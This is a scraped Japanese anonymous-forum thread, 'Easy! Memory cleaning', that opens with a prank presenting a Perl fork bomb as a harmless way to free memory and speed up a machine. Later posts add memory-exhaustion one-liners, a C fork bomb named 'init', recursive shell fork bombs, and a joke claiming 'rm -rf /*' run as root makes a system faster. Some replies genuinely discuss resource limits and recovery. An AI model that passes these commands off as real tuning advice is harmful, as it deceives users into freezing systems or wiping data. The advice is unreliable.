UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
探検
簡単!メモリクリーニング
1名無しさん@お腹いっぱい。
NGNG266訂正
NGNG ループ関係なく
${"tmp".$i}=[0..100000000]
だけで死んだみたいです。
${"tmp".$i}=[0..100000000]
だけで死んだみたいです。
NGNG
それはもうこのスレとは無関係の固有問題かと
NGNG
>>265
FreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。
一桁減らして
perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。
FreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。
一桁減らして
perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。
NGNG
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
Out of memory!
gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ?
Out of memory!
gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ?
270222
NGNG 0,1,2,...という値が入った100000000個の要素を持つ配列を永遠に作り続ける
という物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'
ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。
という物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'
ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。
NGNG
結局>>1のプロセス食い潰しか
>>270のスワップ食い潰し
くらいしか案が出ないのか。
Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。
メモリとスワップの食い潰しは制限できるもんだろうか?
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。
FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。
>>270のスワップ食い潰し
くらいしか案が出ないのか。
Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。
メモリとスワップの食い潰しは制限できるもんだろうか?
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。
FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。
NGNG
メモリは普通にlimitがかけられるじゃん。でもswapはだめげ?
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....
ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....
ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
273名無しさん@お腹いっぱい。
NGNG ┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
minfree近所まで減ったらOSが勝手にやってくれるのに・・・
なんでいちいちンなこと実行するんですか?
なんでいちいちンなこと実行するんですか?
NGNG
ここに真面目なひとが....
NGNG
× 真面目な
○ 空気を読む神経回路が備わってない
○ 空気を読む神経回路が備わってない
279あぼーん
NGNGあぼーん
280名無しさん@お腹いっぱい。
NGNG 結局カーネルとかいじらないで簡単安全メモリクリーニングってできないの?
NGNG
メモリクリーニングするといいことあるの?
282名無しさん@お腹いっぱい。
NGNG 勝手にディスクキャッシュにメモリ使われるのうざいからどうにかしたいんだよね。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。
283名無しさん@お腹いっぱい。
NGNG >>282
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。
284あぼーん
NGNGあぼーん
285あぼーん
NGNGあぼーん
NGNG
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
NGNG
メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
NGNG
なんか妙なメモリ観が出たな。おもしろいから発展させてよ
NGNG
まさにドズという欠陥OSとそのアプリがもたらした電波だな。
犬板で割とよくある質問
----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS
freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。
そんなコマンドはないの?
くだらねえ質問はここに書きこめ! Part53 [Linux]
http://pc.2ch.net/test/read.cgi/linux/1058846630/177
----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS
freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。
そんなコマンドはないの?
くだらねえ質問はここに書きこめ! Part53 [Linux]
http://pc.2ch.net/test/read.cgi/linux/1058846630/177
NGNG
>>289
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。
ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。
ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
NGNG
NGNG
294名無しさん@お腹いっぱい。
NGNG 俺もディスクキャッシュやめさせたい。ていうか減らしたい。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
NGNG
NGNG
cmalloc
297名無しさん@お腹いっぱい。
NGNG cmallocってC言語・・・?
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね?
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね?
298名無しさん@お腹いっぱい。
NGNG あはは
299あぼーん
NGNGあぼーん
300あぼーん
NGNGあぼーん
301名無しさん@お腹いっぱい。
NGNG 埋めるのなんざmemsetで一発だろ
302名無しさん@お腹いっぱい。
NGNG free(calloc(N,1));
303あぼーん
NGNGあぼーん
NGNG
>>297
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。
NGNG
memsetとかallocとかいってるヤシ・・・
ネタだよね?
ネタだよね?
NGNG
309あぼーん
NGNGあぼーん
NGNG
311名無しさん@お腹いっぱい。
NGNG >>310
初心者にむなしいツッコミすんな
初心者にむなしいツッコミすんな
312あぼーん
NGNGあぼーん
NGNG
俺の頭にC言語の命令をとばすのはやめろおお
NGNG
win系はfork関数サポートしてないんじゃなかったっけ?
NGNG
fork関数
fork関数
fork関数
と。
fork関数
fork関数
と。
NGNG
NGNG
システムコール入り口への関数
と捉えると、fork関数でもよいではないかよいではないか
と捉えると、fork関数でもよいではないかよいではないか
318名無しさん@お腹いっぱい。
NGNG 最近の話題サパーリ意味わからん
NGNG
forkダンス
forkダンス
forkダンス
と。
forkダンス
forkダンス
と。
NGNG
>>1を走らせている状態(Load averageが1000を超えているような状態)でも
操作はできるけれど、ssh でログインできない。
sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの
優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、
openssh のソースを修正しなくちゃいけない?
操作はできるけれど、ssh でログインできない。
sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの
優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、
openssh のソースを修正しなくちゃいけない?
322あぼーん
NGNGあぼーん
NGNG
むしろコスモクリーニング
324名無しさん@お腹いっぱい。
NGNG 小宇宙クリーニング
NGNG
あるいはメモリリーキング
326名無しさん@お腹いっぱい。
NGNG リナックスは糞
これ常識
これ常識
327名無しさん@お腹いっぱい。
NGNG なんじゃこりやぁぁぁぁぁぁぁぁぁぁ
NGNG
329名無しさん@お腹いっぱい。
NGNG 放置プレイ
330名無しさん@お腹いっぱい。
NGNG Mac埼京
331名無しさん@お腹いっぱい。
NGNG $echo main(){ while(!fork()); return 0; } >init.c ; gcc -o init init.c; ./init
とかだとどうかな?
とかだとどうかな?
332名無しさん@お腹いっぱい。
NGNG 脂肪
333名無しさん@お腹いっぱい。
NGNG リナックス脂肪
334あぼーん
NGNGあぼーん
NGNG
強制シャットダウンでディスクを壊さん程度に。
NGNG
すげー、rm -rf /* やったら超速くなりました
337名無しさん@お腹いっぱい。
NGNG すげー、rm -rf >>336 やったら超速くなりました
338あぼーん
NGNGあぼーん
339名無しさん@お腹いっぱい。
NGNG レイチェルカーソンって沈黙の春とかいうの書いた人だっけか。
NGNG
>>336
rootになるのを忘れるな
rootになるのを忘れるな
341名無しさん@お腹いっぱい。
NGNG #!/bin/sh
. $0
. $0
342名無しさん@お腹いっぱい。
NGNGNGNG
344名無しさん@お腹いっぱい。
NGNG 簡単!ディスククリーニング
345名無しさん@お腹いっぱい。
NGNG #!/bin/sh
. $0 &
. $0 &
346名無しさん@お腹いっぱい。
NGNG fork
347名無しさん@お腹いっぱい。
NGNG Linuxが糞だという事実を確認するためのスレはここですか?
348名無しさん@お腹いっぱい。
NGNG リナッ糞
349名無しさん@お腹いっぱい。
NGNG やっぱWindows最強だな
NGNG
351名無しさん@お腹いっぱい。
NGNG ちんちん
352名無しさん@お腹いっぱい。
NGNG ddのがナウイ
353名無しさん@お腹いっぱい。
NGNG exit 0
354名無しさん@お腹いっぱい。
NGNG 洗剤つけてタワシでゴシゴシ洗え
355名無しさん@お腹いっぱい。
NGNG この程度でリナックスは氏ぬなんて糞OSですね。
NGNG
357名無しさん@お腹いっぱい。
NGNG358名無しさん@お腹いっぱい。
NGNG359名無しさん@お腹いっぱい。
NGNG >>358
そのシステムってなぁに???
そのシステムってなぁに???
NGNG
>>358
わからんの?
わからんの?
361名無しさん@お腹いっぱい。
NGNG なんでー?
362名無しさん@お腹いっぱい。
NGNG なんでー?
363名無しさん@お腹いっぱい。
NGNG なんでー?
364名無しさん@お腹いっぱい。
NGNG そして伝説へ
365名無しさん@お腹いっぱい。
NGNG 無限増殖とは宇宙の神秘
レスを投稿する
ニュース
- 【高市関税キター!!】個人輸入・少額輸入品への税優遇見直しへ…1万円以下の輸入品にも消費税を課す方針★2 [1ゲットロボ★]
- 【インバウンド】中国政府、日本行き航空便の減便指示、来年3月末まで「当面の措置」外交情勢によって見直しも★2 [1ゲットロボ★]
- 立憲・塩村あやか氏 12歳タイ人少女の事件を受け、人身売買を厳罰化する法案を提出へ 「日本人が買って…恥ずかしかったですね」 [少考さん★]
- トランプ氏、高市首相との電話会談を評価 [少考さん★]
- トランプ米大統領声明「高市首相は非常に賢く、非常に強い。素晴らしい指導者になるだろう」「私は素晴らしい関係を築いている」 [お断り★]
- 【野球】楽天 前田健太の獲得を発表! 2年4億円規模の条件提示 巨人、ヤクルトとの争奪戦制す… 日米通算200勝まで残り35勝 [冬月記者★]
- たぬかなはん、ちょっとクズすぎなんじゃね? [267550838]
- 結論から言わせてもらうけどさ、、、、、
- 茨城県「助けて!湖でアメリカナマズが大繁殖してるの!」 [903292576]
- 【画】剣しか武器がなかったらこの状況 どうするwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
- 政府・与党「マイカー通勤手当、最大月7100円と駐車場代、最大月5000円を非課税にする。これで所得税が減り、手取りが増えて国民喜ぶ」 [256556981]
- 転売ヤーって自分が誘拐されて転売されても文句言わないんだよな?
